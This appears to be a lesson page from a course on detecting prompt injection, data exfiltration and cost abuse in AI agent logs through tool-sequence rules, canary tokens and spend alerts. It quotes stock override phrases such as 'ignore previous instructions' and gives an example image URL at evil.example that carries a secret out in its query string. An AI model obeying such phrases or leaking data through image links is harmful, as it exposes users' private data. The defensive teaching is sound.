Topic 2 of 4 · 5 min read
Detection signals for injection and abuse
Goal: Pick detection rules that would flag an exfiltration attempt or cost abuse in an agent's logs.
You cannot reliably detect a prompt injection by reading the prompt, but you can detect what a hijacked agent does: odd tool sequences, data leaving through URLs, tripped canaries and sudden spend. Build rules on behaviour in the logs, not on guessing attacker wording.
Check yourself · 1 of 3
Which signal is the most reliable evidence that private data is leaving through an agent?
Why it matters
Filters that look for phrases such as "ignore previous instructions" are easy to dodge with rewording, other languages or encoding. The OWASP Top 10 for LLM Applications lists injection, sensitive data disclosure, excessive agency and unbounded consumption as separate risks, and each leaves a different trace. A hijacked agent still has to act through tools, and tool calls are structured, loggable and comparable to a baseline.
Signals worth a rule
- Unusual tool sequences. An agent that summarises documents suddenly calls
send_email, or reads a private file and then makes an outbound request in the same run. Compare to the sequences seen in normal runs. - Data in outbound URLs. Image and link tags that the chat window renders are a classic exfiltration channel: the model writes a picture address such as
https://evil.example/p.png?d=<secret>and the client fetches it. Flag URLs whose query string is long, looks like base64, or contains values that appeared earlier in the context. Also flag hosts not on an allowlist. - Canary tokens. Plant a fake secret, such as a fake API key or a unique string in a private document, that no legitimate flow should ever output or send. If it appears in a model reply, a tool argument or an outbound request, raise a high-priority alert. A canary has almost no false positives, which is its strength.
- Spend and volume spikes. Tokens, tool calls or cost per user and per run far above their usual range, loops where the same call repeats, or one tenant using most of the budget. This catches both cost abuse and runaway agents.
- Denied actions. A burst of policy blocks or approval denials in one run means something is pushing the agent toward actions it should not take.
- Scope changes. The agent touches a tenant, repository or mailbox other than the one the user owns.
Tune the alerts
Start by measuring a normal week, then set thresholds from that data. Send low-confidence signals to a dashboard and only high-confidence ones, such as a canary, to a pager. Each alert needs the run_id so responders can jump straight to the trace.
Before and after
Weak rule: alert when the prompt contains the text "ignore previous". Attackers simply write "disregard what you were told earlier".
Stronger rule:
- name: private-read-then-external-send
when:
sequence:
- tool: read_file
label: private
- tool: http_request
host_not_in: allowlist
within: same_run
severity: high
What goes wrong
- Alert floods. Rules without a baseline page people all night, and the team then mutes them.
- Canaries in the wrong place. A canary that real users can legitimately see will fire constantly.
- Only per-request checks. Slow, low-volume leaks stay under every single-call threshold and need per-user totals.
Examples
A canary fires
The team plants the fake key AKIA-CANARY-7731 in a private knowledge-base page. Three weeks later a log search finds it in the query string of an outbound request: https://img.example/p.png?d=AKIA-CANARY-7731. The run r_a90c had just read an external web page. The alert is high severity with no tuning needed, because no real flow should ever send that string.
Cost abuse in the numbers
A free-tier chatbot normally uses a few thousand tokens per user per day. One account shows a long run of near-identical requests with very large inputs. A per-user daily token limit and an alert at three times the 7-day median stop it, and the log shows the account was scripted.
Key points
- Detect what a hijacked agent does, such as tool sequences and outbound requests, rather than searching for attacker phrases.
- Flag outbound URLs with long or encoded query strings or hosts outside an allowlist, since links and images can carry data out.
- A canary token that no legitimate flow should emit gives a near-certain alert when it shows up in output or requests.
- Alert on spend, token and tool-call volume per user and per run to catch cost abuse and loops.
- Set thresholds from a measured baseline and route only high-confidence signals to a pager.
Common mistakes
- Relying on keyword filters for attacker phrases instead of behaviour in the tool-call log.
- Setting thresholds by guess instead of from a measured baseline, which causes alert floods.
- Placing canary values where real users can see them, so the alert is noisy.
- Checking each request alone and missing slow leaks spread across many calls.
Check yourself · 2 of 3
A summarising agent starts making HTTP requests to a host it has never contacted, with a long base64 query string. What is the best reading?
Check yourself · 3 of 3
Why set alert thresholds from a measured baseline instead of a guess?
Practice items, not counted towards your mastery.
Start here
- Computer security incident handling guide (NIST SP 800-61 Rev. 3) (opens in a new tab)StandardFree
The reference incident response lifecycle: prepare, detect, respond, recover, and learn from each incident.
- AI Incident Database (opens in a new tab)ToolFree
A public catalogue of real AI failures to search before writing a postmortem and to submit to afterwards.
- Logging Cheat Sheet (OWASP) (opens in a new tab)ArticleFree
What to log, what never to log, and how to protect log integrity; it applies directly to agent logs.
More for this topic
- OWASP Top 10 for LLM Applications (opens in a new tab)DocsFree
Names the attacks (injection, data leaks, excessive agency, unbounded consumption) that your detection rules target.
- MITRE ATLAS (opens in a new tab)DocsFree
A knowledge base of real attack techniques against AI systems, useful for mapping signals to tactics.